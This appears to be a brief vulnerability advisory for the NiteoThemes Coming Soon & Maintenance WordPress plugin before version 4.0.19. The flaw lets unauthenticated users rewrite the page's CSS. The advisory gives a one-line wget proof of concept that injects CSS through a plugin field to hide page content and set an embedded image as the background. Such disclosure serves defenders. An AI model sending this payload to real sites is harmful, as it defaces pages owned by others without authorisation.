Coming Soon & Maintenance Plugin by NiteoThemes < 4.0.19 - Unauthenticated Arbitrary CSS Update

2022-01-1700:00:00

Krzysztof Zając

101

niteothemes

unauthenticated

arbitrary css

EPSS

0.001

Percentile

35.0%

JSON

The plugin allows any user, even not logged in, to arbitrarily change the coming soon page layout.

wget 127.0.0.1:8001 --post-data="niteoCS_footer_background_opacity_hardwork=0%29;%7dbody%7Bbackground-image%3Aurl%28data%3A//image/gif%3Bbase64%2CR0lGODdhKAAoAIABAAAAAP///ywAAAAAKAAoAAACX4yPqcvtD6OctNqLs968GwB4DkheJUSeUxqObCu98CJTtZvaL6quucjoAYfEovGI9M2MrJjwccM9G9FglXpVyJa0LW9n9X635Gy4jOZK02YoW1x5NzNytYWdzOv3/GIBADs%3D%29%3B%7Ddiv,section%7Bdisplay%3Anone%20%21important%7D%3B" -q -O-